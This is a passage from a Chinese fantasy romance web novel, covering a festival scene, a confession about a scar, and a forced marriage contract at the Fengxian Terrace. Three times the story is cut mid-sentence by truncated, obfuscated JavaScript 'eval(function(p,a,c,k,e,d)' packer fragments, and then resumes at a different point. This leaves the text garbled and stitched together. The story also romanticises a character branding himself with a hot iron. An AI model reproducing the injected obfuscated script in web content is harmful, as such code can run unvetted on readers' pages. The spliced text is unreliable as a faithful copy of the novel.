“是你在她满月的时候喂米汤,把她呛得小脸发紫;带她去山庄差点被人拐走;说什么踏春却险些把她摔成残废,这些混账事不是你是谁?” “……” “……” 楼明月只看了一眼,拉着顾钧寒就走了。 “他们俩还有得吵,我们走吧。” 顾钧寒的视线落在她拉住自己的那只手上,面上神情错愕,脚下不觉顿了一步。 楼明月感受到些阻力,蓦然回头,有些意料之外,“你不想跟我走?” 他眼神直勾勾地盯着,黝黑瞳孔压下了眼底的惊涛骇浪,喉间滚过一声极轻的笑。 “我想。” 想疯了。 他笑,一副装乖卖巧的模样。 “师姐去哪儿我就去哪儿。” 鱼灯节出了事故,游行也被耽误了吉时,如今大街小巷都只剩下一半的热闹。 灯火依旧长明,人群稀疏零散,别有一番落寞空景。 顾钧寒心底猜测期待了一路,没想到楼明月却停步在一家医馆。 医馆前列满了人,楼明月没有犹豫,带着他排在队伍的末梢。 顾钧寒眼中闪过一抹错愕,随即眉梢蹙起,担心地看向她。 “师姐,你方才受伤了?还是身上有哪里不舒服?人族的医师大多不靠谱,要不还是去找茯苓……” “我没事。”她打断了他。 “是给你买的。” “我看到过你腰上的疤,若用猛药,现下治还来得及。” 顾钧寒长睫轻颤,一时愣在原地。 专门给我买的? 楼明月看出他眼中的不可置信,于是将自己的话重复了一遍。 如今的她对顾钧寒已没了那么多偏见,心底流转更多的是一种愧疚。 见识过他为了保护自己被异火烧伤的惨状,也见识过他在擂台上被人嘲笑疤痕狰狞丑陋时的窘迫,愧疚心驱使着她把人带来这里。 顾钧寒眼中的欣喜一跃而过,转瞬即歇,想起什么后嘴角微僵。 “师姐的好意我心领了,但这个疤——我不想祛,我们还是走吧。” 他低头伸手,小心翼翼地握住眼前人的皓腕,想要将她带离此地。 “中州除了鱼灯还有别的小玩意儿,我带你去看……” 楼明月扯住了他的衣袖,“你若是怕被别人看到,我们不面诊就是,我手里有方子,抓了药就走。” 被小看了的顾钧寒笑了一声,无奈地摇了摇头。 “我不怕这个。” 他垂下眼睑,声音真挚:“这个疤对我来说很重要,不能祛。” “你每次忘记我的时候,它就是我的盼头和证据。” 楼明月被他这句话砸懵了,无论是前半句还是后半句,都教她为之一惊。 “每次?”她诧异重复,顺着这句话问道:“我…不止一次地忘记过你吗?” “当然。” 他意味不明地笑了一声,弯下腰凑近,薄唇覆在她耳畔,垂落肩头的发带无意扫过她颈侧。 “你每次都会哄我说不会再忘记我,可第二天我去找你的时候,你的眼神就锐利地像把刀,恨不得把我活活剐了去……” “师姐是个骗人的惯犯,这个疤是能撬开你记忆的线索,所以,它跟我的命根子一样重要。” 楼明月垂眸想了想,似乎并不认同这一点。 “我能想起来…是因为这个并行世界,不是因为你腰上的疤痕。” 如果单单一道疤,就能让她抵抗伏心树恢复记忆的话,那上次撞见他桶中沐浴的时候,就该想起来了。 何至于拖到现在,才恍然大悟。 守阙抱残,这个词用来形容顾钧寒的偏执真是太贴切了。 以为守着一道狰狞丑陋的疤,守着那些黯淡蒙尘的回忆,就能等到心上人的转身回眸。 在这样固执的等待中,三五载一晃而过,百十年岁月倥偬,却从来没有一个瞬间,想过放手。 “其实…也不是完全没有用。” 他道:“以前我用烙铁再把它烫过一遍的时候,你就能想起来了。” 伏心树没有停滞生长前,楼明月的失忆症总是反反复复,对他的厌恶则逐步增加。 他亲眼看着昔日亲密无间的师姐,一步步忘记自己。 所有的属于两人之间的回忆,都成了他一个人的“妄想”。 只有腰上赤裸裸的疤痕,和手中紧攥的那颗妖珠,能够把他拉出自我怀疑的漩涡。 什么狗屁妄想…… 师姐说过喜欢,就得一直喜欢;说过一辈子,便是从生到死、一天不少的一辈子。 最崩溃的一次,他突然失控,抓起烧得滚烫冒烟的烙铁,径直烙向自己狰狞交错的旧疤上。 皮肉焦糊,血腥一片,看起来和九年前刚被异火灼伤的样子一模一样。 楼明月怔在原地,直到皮肉同火钳相触,滋滋声响炸开,她才恍然回神。 她脑海中九年前的画面一闪而过,情绪也只在心里流转了一刻,在将要通透明了,达到顶峰之际戛然而止—— 那一刻,还是让她下意识地扑了上去。 抱住地上癫狂的顾钧寒,眼泪一滴滴砸落在地,“对不起,都是我不好。” 等那一刻逝去后,又什么都忘了。 只是觉得,看到他的惨状,心里有些闷得喘不上气。 “可惜这种方法不能多用,烫得没了纹路,你就记不起来了。” 他语气平平,仿佛只是在叙述一件日常平淡的小事,语气中带着些遗憾。 楼明月只觉惊骇,张了张唇,在心底倒吸了一口凉气。 “你是疯了吗?!” 她眉头紧蹙,光是想想,心里就窜起一股无名火。 “你前前后后,到底烫了自己多少次?”她瞪着他质问,眼底怒气难掩。 楼明月越是气愤,他反而愈高兴。 眉头上扬,眼中荡漾开的那抹纯粹的笑意,是多年来都难得一见的光景。 这证明,姣姣是在乎他的。 “这个不重要。” 他低头闷声道:“我能用这种方式唤醒你记忆的机会,已经用完了。” 他的伤疤交错纵横、新旧相叠,再怎么烫烙,也不像是那夜中州的伤势。 所以他才遗憾道,没有机会了。 可这不代表他以后不会再做这等疯事,这道疤,已经成了能让他安心的存在,远比易变的楼明月更可靠。 她想开口,让他以后不要再犯傻。 可……她这个总是违背承诺的人,似乎根本就没有资格劝诫他? 她叹了口气,无奈地闭上眼,指尖微蜷,忽然想起了方才的柳朝云。 想起她声嘶力竭,痛斥拂雪背信弃义的模样。 太诡异了。 她竟然在一个十三四岁的孩子身上,联想到了顾钧寒。 他用一种病态的方式,来疏解自己的偏执,延缓自己变成下一个“柳朝云”的时间。 上辈子,竟然就这样老老实实地在自己身边待了八年。 八年啊…… 楼明月想想都有些佩服。 “你……恨过我吗?”她问。 问出口的那一刻又后悔了,她想,或许自己应该直接问:你有多恨我? 恨,肯定是有的吧,只是不知道已经积攒到了什么程度。 顾钧寒却摇了摇头。 “我只会心疼你,我知道,你也想找回自己的记忆。” 他忽然抬手,指尖掠过她鬓边的碎发,动作轻柔得像一阵风,待她回神时,一支玉簪已悄然绾在她发髻间。 这是顾钧寒之前找她讨要的,那支荷花玉簪。 “你已经记起来我们的第一次见面了,按照约定,现在它是你的了。” 他笑道:“姣姣,再接再厉。” 楼明月闻言愕然睁大了眼,不可思议地看着他。 姣姣是她的小名。 顾钧寒是怎么知道的? * 辨别妖的方法有很多,妖印是最直白也最无可辩驳的一种方法。 还有一种,不被缉妖司官方收录,只在民间有所流传的——浅瞳法 妖的眼睛与人略有不同,大多数情况下,她们的眼睛生得比人更漂亮。 一双水汪汪的大眼睛,与黝黑瞳孔不同的浅色系,会让她们看起来更加懵懂纯真。 楼明月的瞳孔是浅褐色的,隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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茯苓来到三圣山,赵双双得了令,不能将她收入门下,其他掌教嗅出她身上的腐气,也都不肯将她收作弟子。 她就一个人孤零零的待在山上,没人教也没人管,楼明月和周漾时不时会去探望。 后来她遇到了剑脉被毁的拂雪。 那是个怪人。 也跟她一样没人管,被扔在最偏僻的西庭院,不了了之。 小茯苓见自己的“新邻居”伤势颇重,好心搭救,用偷听学来的医药知识,给他熬了几副药。 从开方、采药到熬药,都由她一个人独立完成。 她想,等这个怪人好起来以后,掌教们就知道她很有学医的天分了,说不定……就会收她为徒! 她端着一碗黑乎乎的汤药,第一次推开了那个怪人的房门。 举了举手中的托盘,眼神晶亮,满脸期待的看着他。 拂雪并不领情,喝斥着让她滚。 她端着那碗药,愣头想了想,肯定是自己的药还不够好。 于是,坚持不懈地改良自己的药方,每隔几天就端一碗药去他房里。 当那个矮小的身影,再一次垫起脚尖,奋力推开房门的时候,拂雪近乎有些无奈了。 他问:“这里是个软监狱,你年纪这么小,到底犯了什么错?” 这时候的茯苓才五六岁,不懂什么是软监狱,但她知道什么是“犯错”。 面对拂雪的问题,她茫然地摇了摇头,随后恍然大悟,原来自己是犯了错才被禁足在西庭院的啊。 当楼明月再次来山上看望她的时候,她拽住师姐的裙摆,傻乎乎地问自己犯了什么错? 然后抱住她的腰,昂着头撒娇道:“我不要一个人住在这里嘛,我以后改好不好~” 楼明月听后心都软了,不知道该怎么跟她解释。 她年纪太小了,加上楼溪滕一直没来看过她,她甚至都不知道自己有个母亲。 楼明月摸了摸她的脑袋,哄着下次给她带糕点,回避了这个话题。 再大些的时候,茯苓会偷偷跑出西庭院,看看外面究竟是什么样的。 可别的弟子一听说她是西庭院的,都不愿与之交好,甚至出言反讽。 她回去后一反常态,不在院子里踢毽子,也不再荡秋千,一个人呆在房间里,抱着被子一直哭。 哭声传到隔壁,听了半宿的拂雪终是坐不住了。 他推开门,问:“你哭什么?” 小茯苓用手背抹去眼泪,抽噎道:“他们都笑我没人要,没有师父肯教我,也没有人愿意跟我玩儿……” 他听后“哦”了一声,没说什么。 后来他的伤好了,黄明长老觉得他反思了良久,想来接他出去,他却一口拒绝了。 并扬言,自己此生再也不会碰剑。 黄明以为那是气话,只要晾着他再久一点,他终有后悔的那一天。 直到他通过三圣山的层层选拔,一跃成为第四位掌教的时候,黄明才惊觉,他弃剑从医了。 拂雪门下只有茯苓一个弟子。 其他人挤破了脑袋想做他的弟子,就算有天生药灵脉,他也一概不收。 师徒俩从原来西庭院的落寞客,摇身一变,成了三圣山盛极一时的红人。 身份转变之后,茯苓身边就涌现了许多人,巴不得和她走得近些,她再也不会烦恼没有人愿意陪她一起玩儿了。 不过她心里清楚,那些人都不是真心待她。 真正对她好的人,除了明月和两个师兄外,就是师父了。 师父是顶顶好的人,她不允许旁人置喙一句师父的不好。 如今让她相信,这个为了一己私欲,不惜让几千人陪葬的人是她的师父,实在太难。 18. 第 18 章 玉京中枢,有一座悬浮半空的高台,名唤“奉仙“。 奉仙台原本是上清神域的一块儿神碑,记载了开元以来所有飞升的仙神。 后来落入人间,石碑生灵化形,其后人自成一派,称作奉仙台。 星信地图上指示的第二个位置,就在奉仙台。 奉仙一族向来自视甚高,虽然身在下界,但潜意识里总认为自己是上清神域的后裔,更是仙神的追随者、侍奉者。 他们对于有着第一大宗之称的天翎宗,可谓嗤之以鼻。 周漾同样也瞧不起奉仙族,用他的话来说就是:“没见过这么贱的,当仆人还当出优越感了。” 除此之外,任何人想要进入奉仙台,都要经过层层筛选。因为族人认为肮脏之人的到来,会打扰神仙的安宁。 这种傲慢,让奉仙台的规模一直不大,基本上只有离光氏族人。 离光氏虽然对天翎宗嗤之以鼻,但对有着“仙人转世”名头的楼明月,又是另一个态度。 几人中州辞行后,便来到了奉仙台的结界范围内。 脚尖刚越过界碑的边缘,周遭沉寂的结界突然苏醒。 缥色符文如流萤般浮现,绕着结界壁缓缓转动,独特的灵气场,将所有越界之人喝退三步。 没过多久,就有一群人从高台上飞了下来。 为首的是一名黄衣女子,一双潋滟的桃花眼,菱角唇紧绷着抿成一线,面容姣好,就是眉宇间有些盛气凌人,充满了攻击性。 她眉峰微蹙,站稳后双手环抱,昂着尖尖的下巴,极不耐烦地投来视线。 周漾啧了一声,同样地不耐烦: “喂,我说你这看大门的懂不懂规矩,等你飞下来又等你摆造型,造型摆完了你倒是说句话啊!难不成都让我们猜啊?” 又一个少女被他三言两语引爆了脾气,“你说谁是看大门的?!” 离光奕气愤不已,“姑奶奶可是奉仙台的帝姬,你这个凡夫俗子也配这样跟我说话?!” 周漾闻言一愣,不可思议地指了指自己,“凡夫俗子?我?” 他嗤笑一声:“你以为你从高处往下跳就是仙人了?你有本事就往天上飞,在天上待着别下来啊!” 贺玄音蒙脸无奈道:“把嘴闭上。” 楼明月适时地从怀里拿出执事录,立在身前,“天翎宗,太清宫受命执事,烦请通融配合。” 离光奕盯着楼明月没说话,朝身旁的侍女使了个眼色。 对方立即会意,伸手替她接过。 她背过身去,翻了翻手中的执事录,压低了声音同身旁的侍女嘀咕道:“你们瞧着,像是真的吗?” 几个侍女摇了摇头:“帝姬,这东西我们也只听说过。” “帝姬,您看这个!”阿瑞激动地指了指册上的执事名单。 “带队执事者,楼明月……” 离光奕瞬间眼前一亮,“那不就是我嫂嫂!” 她当即转身,态度一改从前,“方才是我不对,明月仙子大驾光临,应该好生招待才是!” 她吹哨,唤来一只巨大的流云鸾鸟当坐骑。 “嫂……明月仙子,这边请——” 离光奕差点儿说漏嘴,弯起眼睛,讪讪笑了笑。 周漾不屑地切了一声,吐槽道:“你们看她眼冒精光那样,指不定打的什么鬼主意呢。” 他跟在明月的身后,正要往前迈步时却被离光奕拦了下来。 “天翎宗,太清宫……你一定就是那个传说中的周漾了吧?” 她睁大眼睛,人畜无害地盯着他。 听语气周漾以为她要恭维自己,眉眼刚扬起几分喜色,对方就补充道:“传说中不学无术、死皮赖脸、拈花惹草的周漾,对吧?” 离光奕哼了一声,“不好意思,奉仙台有规矩在先,你这种人进去是会打扰神仙清净的,就麻烦你在这儿呆着吧。” 周漾被堵的哑口无言,巨大的落差让他一时间愣在原地。 贺玄音拍了拍他的肩膀,没忍住笑了出来,“既然你威名在外,那就在这儿等着我们吧。” 除了声名狼藉的周漾之外,身上有腐气的茯苓和从小生活在中州世俗气太重的陆南星,都被拦了下来。 茯苓面无异色,对此早在意料之中。 陆南星很失望,在中州人眼里,能登上奉仙台就离上清神域不远了,他期待了一路,没想到最后却被拒之门外。 周漾看着被流云鸾鸟带走的三人,毫不在乎地跟他们挥手告别。 嘴里吊着根狗尾草,哼笑道:“放心,一个破台子而已,我想上就上了还用得着她们同意?” 另一边的楼明月等人,已经踏上了奉仙台的高阶。 仙台踞于九霄云霭之上,广袤无垠,边际与云层相接,一眼望去寻不到尽头,远比他们想的更加壮阔 离光奕的视线全程跟着楼明月,咳了两声问道:“明月仙子,你们大老远来奉仙台所为何事啊?” “叫我明月就好。”楼明月没有直接说出归墟秘境,只道:“宗门里跑了只重要的凶兽。” “啊,抓一只畜生,这种小事怎么能让你劳心费神呢?” 她眼珠一转,笑盈盈道:“我看这样,那凶兽我找人帮你抓!你第一次来奉仙台,就让我哥带着你逛一逛吧!” “你哥?”楼明月神情疑惑。 “我哥叫离光宸啊,万宗大比上你们见过面的!” 说到要处,她神情十分激动,恨不得现在就把离光宸揪过来,安排她们俩拜堂成亲。 醉翁之意不在酒,旁人看一眼就知道她打的是什么主意。 离光氏是因为“仙人转世”的这个名头,才肯高看楼明月一眼的。再加上长孙离光宸对她一直心生爱慕,早就起了缔姻的心思。 只是他们和天翎宗的关系一向交恶,楼明月的师父又是出了名的脾气臭,所以迟迟不肯抹开面子去找楼溪滕。 顾钧寒冷嗤一声,“我师姐见的阿猫阿狗多了,没有义务一一记住。” “你敢说我哥是阿猫阿狗?!” “小奕——” 离光奕刚要冒火,被身后人的一声叫喊止住了。 来人一袭月锦白衣,墨发垂肩,眉眼干净澄澈,气质如朗月清风,不染半分俗世烟火。 他的视线看向楼明月,唇角微扬,笑意清浅,像风拂过湖面时漾开的涟漪,淡的恰到好处。 “仙子来是有要紧事的,我们就不要阻挠了。” 如果忽略掉他眼底小心翼翼的欢喜,这个人看起来倒是从容。 “你们手里拿的是天字级执事录,执行任务奉仙台是不会置喙的。” “只是长老让我转告你们,奉仙台不比别处,有神仙碑林之地万不能闯,那是我们全族的禁地,就是天塌地陷也不能让外人踏足。” 楼明月点了点头,“多谢通融。” 三人随即便和他们兄妹分开,照着执事录的指示,开始寻找那只墟魇兽的踪迹。 离光奕看着她远去的背影,只能在心里干着急,恨铁不成钢地瞪着离光宸。 “人家八百年也不见得能来一回呢,你不知道好好把握这个机会!” “放心吧。”离光宸脸上的笑意深了些,眼底神色晦暗不明。 “会有机会的。” 楼明月心里明白,这只墟魇兽绝对不一般。 生在混沌归墟,却敢闯入仙气最盛的奉仙台。 它留下的气息杂乱无章,有分布在云海大殿的也有分布在朝圣台的。 执事录分不清哪里的气息更重,也辨不出它行动的具体轨迹,三人只能分头去探,要赶在奉仙台的人发现此事与归墟有关前,收复这只墟魇兽。 贺玄音先行一步去了云海大殿,顾钧寒领了命去朝圣台却迟迟不动身。 “你愣着做什么?”楼明月抬头看到他,心中大概猜测道:“你若不愿意去朝圣台,那我跟你换,你留在这附近。” 朝圣台对邪魔有一定的威压,楼明月以为他是因为这个才驻足。 顾钧寒摇了摇头,欲言又止。 在她不解的目光下,扯了扯她的袖子,只道:“他不是什么好人,你别被他那张脸蒙骗了。” 她闻言微愣,“谁?” “离光宸,他这个人表里不一,对师姐还有歹心。” 楼明月和离光宸的交情不深,两辈子加起来也没见过几面,他是什么样的人,楼明月一个词也形容不上来。 但顾钧寒看起来却很了解离光宸。 上辈子他被整个玉京围剿的时候,和离光宸交战过几次,光风霁月的容貌气质,背地里龌龊手段却没少使。 顾钧寒以为,楼明月喜欢的是像贺玄音这样的正人君子,所以上辈子才老老实实地在她面前演了八年的温润如玉。 如今这个人设,他是演够了也彻底演不下去了。 演了八又十一年,最后还是被一剑穿心。 再口是心非地说那些恶心做作的话,做那些违逆本心的事,都会忍不住吐出来的那种。 但他对师姐身边所有展露这种气质的人,都格外警惕。 贺玄音算一个,离光宸也算一个。 “他好他坏跟我有什么关系?”楼明月简单回答,不懂他心里的弯弯绕绕。 “只要他不祸及天翎宗,好坏都与我无关。” 顾钧寒听她这么说,心底的郁闷一扫而去,“是,他怎么样都与你无关。” 顾钧寒走后,她追着执事录分辨的另一条路径而去。 眼前的路似乎已经到了尽头,再往前就是一片云雾似的高墙,上下均望不到消失点。 奉仙台的边际与云雾相接,楼明月不确定那重重云雾之后的,究竟是路还是崖。 她从高台上下来,试探着朝那堵“墙”迈进了一步。 刻着流云祥纹的汉白玉砖即刻在脚下蔓延,眼前的云雾变得稀薄、通透,让出一条隐隐可辨的路。 她没有犹豫,继续走了下去。 眼前云雾尽褪,视野逐渐开阔。 □□之外,仙气四溢,矗立着一根又一根多到数不清的圣柱。 它们高矮不一,柱子上所刻文字的繁密程度也不一样。 楼明月虽是第一次见,但从前听人说过,大概知道这些是什么。 这里的每一根柱子,都对应着上清神域的一位神仙。 柱子上刻着的是她们的生平经历,柱子的高度则由神阶和业力决定。 这就是奉仙一族世代守护的东西。 楼明月的母亲是近些年来飞升上仙的仙子,这里应该也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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百妖谱查司,耗时百千余年将世上各类妖的妖印编入,集成一本《百妖谱》。 只要熟知百妖谱,就能辨别世上所有妖的妖种和原型。 这句话多年来只有一个例外——楼明月 她也是有妖力的大妖,但她的妖印在百妖谱中却无一对应。 正是凭借于此,才打消了人们对她额上印记的怀疑与猜忌。 而现在,这里出现了第二个例外。 眼前这只小妖的妖印,熟知百妖谱的楼明月却从未见过。 “小家伙,你是什么妖?”她直白发问。 对方鼓了鼓嘴巴有些生气,一言不发。 “你是小哑巴?还是…你也不知道自己的妖种?” 她哼了一声,带着几分不轻不重的嗤笑:“你才是小哑巴呢,真没礼貌。” “第一次见面都不知道先问人家的名字!” 对于妖来说,问妖种是一件很不礼貌的事情。 就像人族见面,开口第一句话不是姓甚名谁,而是先问对方的血统和家世;修士见面,开口先问对方的师承和灵根,听起来像是瞧不起人的势力眼。 楼明月闻言哭笑不得,“是我不对,那你叫什么名字?” 她昂着下巴瞥了她一眼,终于满意道:“我叫悱悱,如果我没认错的话,你应该叫月亮吧?” 她闻言微愣,悱悱以为自己说对了,刚要翘起尾巴时,她从惊讶中回神否认:“我叫明月。” “我们之前有见过吗?听起来,你好像早就知道我的名字。” 悱悱摇了摇头,“我没见过你,但我是栖殿下的妖。” “栖殿下是谁?”楼明月追问道。 她眨眨眼:“就是你的妖父啊!” “妖父……”她第一次听到这个称呼,低声呢喃着。 刚准备继续追问时,身后传来一声呼喊,打断了她的思绪。 “明月仙子——” 楼明月回头,隔着一段距离,看到了神仙碑外站着的乌泱泱的人群。 为首的是几个鹤发长者,还有刚才呼喊她的离光宸和离光奕两兄妹,身后跟着的则是离光氏的族人。 悱悱感应到这群人来者不善,“砰”的一声变回了四角兽。 缩着身子躲在她之后,咬住她的裙摆撒娇似地低哼道:“小殿下救我,他们知道我偷食仙气会烤了我的……” 离光宸已经走近看到了这只四角兽,心里大概明白了什么。 “明月仙子,我想我应该告诉过你,外族人是不允许踏足神仙碑的。” 离光宸的语气依旧平和,像之前那样耐心地给她解释。与他身后怒气冲冲的族人们相比,看起来十分冷静。 他咳了一声,压低声音道:“一会儿出去,你就说是为了缉拿这只祸兽才误闯其中,我不会让他们为难你的。” 悱悱闻言快急疯了,四条小短腿蹦跶着,恨不得一口咬在离光宸身上。 楼明月被它扯的身子微晃,感受到它闹出的动静后叹了口气,神情坦然地往外走。 “不用了,这只妖兽是我的,它闯了祸我会负责。” 悱悱疑惑地“咦”了一声,反应过来后眼神惊喜,蹦跶着跟上她的脚步。 离光宸看着她毅然掠过自己的身影,有些许愣神。 本想英雄救美一遭,在她面前搏得些好感。谁料她根本不在乎,冷淡疏远,连一个眼神都懒得施舍。 他在心底冷笑一声,指尖攥紧掌心。 看来,你根本没意识到自己闯了多大的祸啊。 19. 第 19 章 “你就是太清宫的楼明月?” 奉仙台的戒律长老离光翬,盯着她冷笑一声挖苦。 “都说你是仙人转世,怎么,仙子是怪我们没有敲锣打鼓地迎接你不成?竟这般糟蹋我族圣地!” “明月!”贺玄音匆忙赶到,从人群中跻身而出。 “我是她师兄,若有冒犯之处我代她向诸位致歉——” 离光翬袖子一甩,嗤笑一声,“你以为这件事情道个歉就算完了?” “想替人出风头,也得先掂量掂量自己的斤两!” “神仙碑是我族圣地,她不仅擅闯竟还任由自己的兽宠吸食仙气!这是对整个上清神域的不敬!仙人怪罪下来,我离光氏要如何交代?!” “兽宠?”贺玄音闻言一愣。 师妹什么时候养过兽宠? 他眸光一转,看向楼明月脚边那只四角兽。 它正舔着爪子,企图抹干净身上残留的仙气。注意到他的视线后,装乖卖巧地往明月身上蹭。 贺玄音刚要开口和它撇清关系,师妹自己就认了下来。 “是我没有看好悱悱,让它闯进神仙碑里捣乱。” “离光氏想要什么赔偿,我认就是。” 贺玄音声音一滞,只好改口道:“既然事情已经发生了,再多说已是无益,待我回去禀明师父,太清宫定会给奉仙台一个交代。” 几个族老互相对视,眼中毫无惑色游离,似乎已经做出了抉择。 “天灵地宝,法器丹药……你们能拿出来的那些破烂,根本不够格和奉仙台的相比。” 贺玄音对离光氏的傲慢早有耳闻,眼下理亏,他只能耐着性子追问。 “那您的意思是?” 离光翬冷笑一声,目光如炬看向一旁的楼明月。 “用她的姻亲作赔。” 楼明月闻言一惊,蓦然抬眼,疑惑地盯着他,眉梢轻蹙。 不解,不可置信,也不屑。 离光翬被那一记眼神刺痛到,脸色微垮,气势强硬地找补道: “我敬你是仙人转世的命格,才肯高看你一眼,让太清宫的转世仙子和我奉仙台长孙缔亲,双方利好,此事化了——” 奉仙台除了人口稀少外,什么都不缺。 这里的灵气是最纯净充盈的,这里的法宝是天下独一品的,这里的功法秘籍更是稀世罕见、登峰造极的。 正是因为这份什么都不缺的底气,才催生出了他们万人之上的傲慢,世间的寻常修士均不能入其法眼。 换言之,他们什么都不缺,就缺一个像楼明月这样与之身份匹配的人。 既能优化血统,又能彰显名气。 可他们不肯抹开面子,下高台,入山间,老老实实正儿八经的提亲,而选择以这种高高在上的姿态达成目的。 贺玄音明白了他们的意思,脸色霎白,彻底忍不下去了。 “什么双方利好,你们分明是要我师妹把一辈子都折在你们奉仙台!” “你这话是什么意思?” 离光氏族人不忿道:“多少人想来这儿一辈子都没有资格踏足!嫁到我们奉仙台,合该是你们天翎宗的荣幸!” “何止是荣幸?那可是和下一任奉仙主缔亲,简直是恩赐!” “你们天翎宗怎这般不识抬举……” “我呸!不要脸!”一片附和声中突然冒出一句铿锵有力的骂词。 围观众人皆是一愣,左右环顾是谁这么没规矩。 人家就是不答应,也不至于爆粗口吧? “强娶豪夺不要脸不要脸——” 大家都安静下来后,这道咆哮声就更为明显了。 离光翬大怒:“谁敢放肆?!” 众人均是摇摇头,方才根本没有人张嘴。 楼明月神情微僵,感觉到有什么东西从身后跳到了自己肩膀上,翻来翻去,藏在她的一头乌发下。 她刚要伸手去抓,耳畔传来一道私语:“别别别,是我。” “你路见不平一声吼的二哥啊!” 周漾…… 楼明月瞬间明白他做了什么。 他被拒之门外,就把符纸叠成小人模样偷摸送了上来,当作自己的分身。 楼明月对他只有一个要求: “别在我身上吼。” 被听出来怪丢人的。 离光翬看她沉默了好一会儿,便问道:“怎么样,想清楚了没?” “只要你签了这张婚帖,冒犯神域的事便既往不咎了。并且,你将成为奉仙台未来的女主人。” “但……若你不识抬举,我便限制整个天翎宗的圣垠水,没有圣垠水,恐怕你宗的飞升路自此便更窄了吧?” 楼明月眼睛微眯,盯着他看了半晌,唇角勾起一抹浅弧,只觉好笑。 一张纸,签就签呗,谁当真谁才是傻子。 想来奉仙台的人高踞云海,自认阳春白雪,不怎么和她们这些“下里巴人”接触。 没见过毁约失信、寡鲜廉耻之辈;更没见过被人骗得气厥昏愦、倾家荡产的愣头。 不是每个人都那么守规矩的。 周漾前前后后立过的欠条和字据,摞起来都快有山高了;发过的毒誓,总起来也够他死八百回了,也不见他被其中的哪张纸、哪句话约束过行为。 按照他的教诲来说就是:这种东西,谁认真谁担责,谁耍赖谁无敌! 日后履诺时,总有一千个一万个理由拖延,拖着拖着这辈子就算过去了。 她爽快道:“签可以,但我有个条件。” “什么条件?” “神仙碑,让我再进去一次。” “你……!”离光翬气愤地指着她。 “你还进去做什么?你已经大不敬过一回,也不怕诸天仙神不肯饶你!” 她坚持道:“我只有这一个条件,你想让我签下婚帖,就非答应不可——” 长老还要再说些什么,离光奕抢先一步道:“明月仙子嫁给我哥,不就是奉仙台的人了吗?” “既然不是外人,想来神仙不会怪罪的!” 他最终松了口,“你可以进去,但这只该死的畜牲…想都别想!” 他恶狠狠地瞪着悱悱,恨不得把它抽皮扒骨,当做祭祀的贡品。 “略——”悱悱毫不在乎地吐了吐舌头,知道自己有靠山后,姿态更加慵懒了起来。 周漾建议她把字写得歪七扭八一点,最好把“月”字写得更像“目”一点,保不准能钻钻空子。 她提起笔,指腹轻碾,察觉到周围人虎视眈眈的目光后,想想还是算了。 他们也不至于那么蠢。 朱红色的婚帖呈在素白玉盘里,云锦镶边,艳如凝脂,烫金的“囍”字在阳光下映得熠熠生辉。 一切仿佛早有准备…… 无论是不是算计,这副画面于她而言都十分刺眼。 如果加上上辈子的话,这已经是她第二次签婚帖了。 第一次是被顾钧寒掳去邪殿,那时候的他像个疯子般偏执阴鸷,给自己施下傀儡术,逼着她执笔签下婚帖。 想到这里她“啧”了一声。 怎么每次签婚帖都这么不情愿呢? “楼明月”三个大字落下后,婚帖立刻被人收走。 直至此刻,她才恍然反应过来什么。 离光宸笑意盈盈地望着她,而她脑海中浮现的,全是上辈子那个眉眼戾气的邪神顾钧寒。 以他的脾气秉性,若知道自己同人签了婚帖,不知道会做出什么事来? “砰”的一声震响,远处天际流云被尘土覆卷,随之而来的是一片倒塌声。 族人慌张来报道:“不好了族长!朝圣台那边出事了,整座台子都塌了!” 离光翬眉头紧蹙:“怎么塌的?” “有人…有人打起来了,最后一死一伤,死的哪个自爆元魂……” 楼明月闻言瞳孔微缩,心头不自觉颤了一下。 顾钧寒就在朝圣台…… 她当即扔笔跑了过去,反应过来的贺玄音连忙跟上她。 悱悱叫了一声,也追了过去。 “她…怎么比我们还激动啊?”离光奕看着她急匆匆的背影,略有不解。 楼明月赶到的时候,浮起的烟尘还未散尽,她站在外围,只能隐约看清一个站着的人影。 那人回头看了她一眼,身子一僵,发现她后须臾便消失不见。 等她冲进塌陷区后,只看见一个躺在地上奄奄一息的顾钧寒。 她立刻蹲了下来,将人抱在怀里,两指贴在颈侧去探他的气息。 不知道是因为跑的太急,还是心里过于害怕,她的手有些颤抖,怎么也摸不准。 贺玄音问她人怎么样,她张了张唇一时哽咽,肩膀微微耸动,喉间溢出几声压抑的、不成调的气音。 这一刻,她确定。 她在害怕,她害怕顾钧寒会死。 对方睫毛轻颤,恰如其时地睁开了眼。看到她慌张失神的模样,眼中闪过一抹不宜察觉的狡黠。 “师姐。”他掌心覆在她微凉手背上,轻声安慰着。 “你现在感觉怎么样?”她眼神焦灼地看着他。 他闻言蹙起眉头,一副苦不堪言的神情。将脑袋埋入楼明月怀中,感受着这股熟悉的温热,鼻尖有意无意擦过她的衣襟。 她见状急道:“我带你去找医师!” 刚要起身时,又被顾钧寒拉住了胳膊。 他咳了两声,装模作样地捂着胸口,声音虚弱道: “师姐,都是我不好,被它钻了空子,自爆一缕元神后逃了出去……” 他像是个猫儿般偎在自己怀里,一只手捂着胸前并不存在的伤口,另一只手紧紧攥着自己的衣摆, 有拽住她不让起身离去的力道,却没有好好说话的力气。 楼明月瞬间看穿了他的伪装,没有直言戳破,心底默默松了口气。 贺玄音蹲了下来,替他把脉一番,支支吾吾道:“师弟…你…嗯……” “你脉象强健,到底伤哪儿了?” 他偏头躲在楼明月怀里,暗自白了他一眼,声音冷了几分。 “大师兄还是好好精进医术吧。” 楼明月眼眸微垂,没忍住轻笑一声。 顾钧寒听到她的笑音,身子一僵,喉咙滚了滚,罕见地心虚了起来。 她点了点头,顺着他道:“你伤得重,得好好休养才是。” “墟魇兽的事情你不必自责,你遇见的只是它的分身,至于它的本体…应当还藏在神仙碑里。” 贺玄音闻言低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 